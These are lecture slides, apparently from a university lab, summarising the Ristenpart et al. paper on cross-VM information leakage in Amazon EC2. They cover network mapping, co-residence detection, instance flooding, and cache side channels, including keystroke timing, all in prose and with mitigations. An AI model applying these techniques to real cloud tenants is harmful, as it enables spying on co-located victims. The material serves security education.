Virtual Machine Introspection

advertisement
Hey, You, Get Off of My Cloud:
Exploring Information Leakage in
Third-Party Compute Clouds
Thomas Ristenpart¤, Eran Tromer†, Hovav Shacham¤, and
Stefan Savage¤
¤Dept. of Computer Science and Engineering University of
California, San Diego, USA
†Computer Science and Artificial Intelligence Laboratory
Massachusetts Institute of Technology, Cambridge, USA
報告人:倪丞頤
Distributed System Lab.
1
Outline
Introduction
Treat Model & EC2
Network Probing
Cloud Cartography
Determining Co-Residence
Exploiting Placement EC2
Cross-VM Information Leakage
Conclusion & Future
References
Distributed System Lab.
2
Introduction
Third-party cloud computing represents the
promise to out-sourcing as applied to
computation.
The use of virtualization allows third-party
cloud providers to maximize the utilization by
a shared physical infrastructure.
New vulnerabilities:


It is possible to map the internal cloud
infrastructure.
We explore how such placement can then be used
to extract information.
Distributed System Lab.
3
Threat Model
We consider the provider and its
infrastructure to be trusted.
Adversaries are non-provider-affiliated
malicious parties.
Victims are users running confidentialityrequiring services in the cloud.
Two kinds of attackers:


Those who are interested in being able to attack
some known hosted service.
Those focused on attacking a particular victim
service.
Distributed System Lab.
4
The EC2 Service
To run Linux, FreeBSD, OpenSolaris and
Windows as guest operating system.
Those VMs are provided by a version of
the Xen hypervisor.
EC2 does not appear to currently
support live migration of instances.
Each user account is limited to 20
concurrently running instances.
Distributed System Lab.
5
Amazon’s EC2
Two “regions” at U.S. and one at Europe.
Three “availability zones” for each region.
“availability zones” are meant to specify
infrastructures with distinct and independent failure
modes.
There are five Linux instance types: ‘m1.small’,
‘c1.medium’, ‘m1.large’, ‘m1.xlarge’, and ‘c1.xlarge’.
Each instance is given Internet connectivity:


External IPv4 address and domain name.
Internal RFC 1918 private address and domain name.
Distributed System Lab.
6
Network Probing
We use nmap to perform TCP connect probes

To complete a 3-way hand-shake.
We use hping to perform TCP SYN traceroutes.

To send TCP SYN packets with increasing TTLs until no ACK is received.
We only targeted ports 80 or 443.
We used wget to retrieve web pages, but at most 1024 bytes.
Two types of probes:


External probes: It originates form a system outside EC2 to EC2’s instance.
Internal probes: It originates from an EC2 instance to another.
We use DNS resolution queries


To determine the external name of an instance.
To determine the internal IP address of an instance associated with some
public IP address.
Distributed System Lab.
7
Cloud Cartography (1)
‘map’ the EC2 service to understand:


Where potential targets are located in the cloud.
The instance creation parameters needed to attempt
establishing co-residence instance.
The hypothesis:

Different availability zones are likely to correspond to
different internal IP address ranges.
Two data sets:


One created by enumerating public EC2-based web servers
using external probes and translating responsive public IPs
to internal IPs.
Another created by launching a number of EC2 instances of
varying types and surveying the resulting IP assigned.
Distributed System Lab.
8
Cloud Cartography (2)
Surveying public servers on EC2



We performed: a TCP connect probe on port 80, a follow-up
wget on port 80, and a TCP port 443 scan.
Via an appropriate DNS lookup from within EC2, we
translated each public IP into an internal EC2 address.
One of the goals is to enable identification of the instance
type and availability zone of these potential targets.
Instance placement parameters


To launch instances by a single account, or two accounts.
The samples from each zone are assigned IP addresses from
disjoint portions of the internal address space.
A fuller map of EC2
Distributed System Lab.
9
Instance placement parameters
Distributed System Lab.
10
Determining Co-Residence
Instances are likely co-resident if they have

Matching Dom0 IP address,
 Instance owner: the first hop on any route from it.
 Uncontrolled instance: the last hop of a TCP SYN tranceroute to it.

Small packet round-trip times,
 The first reported RTT in any probes was almost an order of magnitude
slower than subsequent probes.

Numerically close internal IP addresses
 The same Dom0 IP will be shared by instances with a contiguous
sequence of internal IP address.
Veracity of the co-residence checks



If two instances can successfully transmit via the covert channel
then they are co-resident, otherwise not.
A hard-disk-based covert channel (under our control).
A TCP SYN traceroute to an open port on the target, and sees if
there is only a single hop.
Distributed System Lab.
11
Exploiting Placement in EC2 (1)
To say the attacker is successful if he
achieves good coverage (co-residence with a
notable fraction of the target set)
A single account was never seen to have two
instances running on the same physical
machine.
Strong placement locality: Two instances run
sequentially are often assigned to the same
machine.
Distributed System Lab.
12
Exploiting Placement in EC2 (2)
Brute-forcing placement

To run numerous instances over a long period of time and
see how many targets are co-residence.
Abusing placement locality



We assume an attacker can launch instances soon after the
launch of a target victim.
The attacker engages in instance flooding.
This suggests servers are often run on instances, terminated
when not need, and later run again.
Patching placement vulnerabilities

Let users request placement of their VMs on machines that
can only be populated by VMs from their accounts.
Distributed System Lab.
13
Cross-VM Information Leakage (1)
Measuring cache usage

Load measurement:
1. Prime: Read BUFFER at offsets of cache line size.
2. Trigger: Busy-loop until CPU’s cycle counter jumps by a large
value.
3. Probe: Measure the time for reading BUFFER at offsets of
cache line size.

Cache-based covert channel



Sender: To transmit “0” for idle, and frantically accesses
memory for “1”.
Receiver: To access memory and observes the access
latencies.
High latencies = the sender is evicting the receiver’s data
form cache.
Distributed System Lab.
14
Cross-VM Information Leakage (2)
Load-based co-residence detection

An adversary can actively cause load variation
due to a publicly-accessible service on the target.
Distributed System Lab.
15
Cross-VM Information Leakage (3)
Estimating traffic rates




Two m1.small instances
1000 cache load measurements in one instances
20 users (jmeter)
Web page is 3 Mb
Distributed System Lab.
16
Cross-VM Information Leakage (4)
Keystroke timing attack



The adversary’s goal is to measure the time
between keystrokes made by a victim typing a
password.
We utilize the Prime+Trigger+Probe load
measurement technique to detect activity spikes
in an otherwise idle machine.
The same attack could be carried over to EC2,
except that this technique applies only to VMs
that timeshare a core.
Distributed System Lab.
17
Conclusion & Future
We argue that fundamental risks arise from
sharing physical infrastructure between
distrustful users.
Future



Cloud providers may obfuscate both the internal
structure of their services and the placement
policy.
One may focus on the side-channel vulnerabilities
and employ blinding techniques.
We believe that the best solution is simply expose
the risk and placement decisions directly to users.
Distributed System Lab.
18
References
[1] T. Ristenpart, E. Tromer, H.
Shacham, and S. Savage, “Hey, You,
Get Off of My Cloud: Exploring
Information Leakage in Third-Party
Compute Clouds.” In CCS, 2009.
Distributed System Lab.
19
Q&A
Thank you!
Distributed System Lab.
20
Download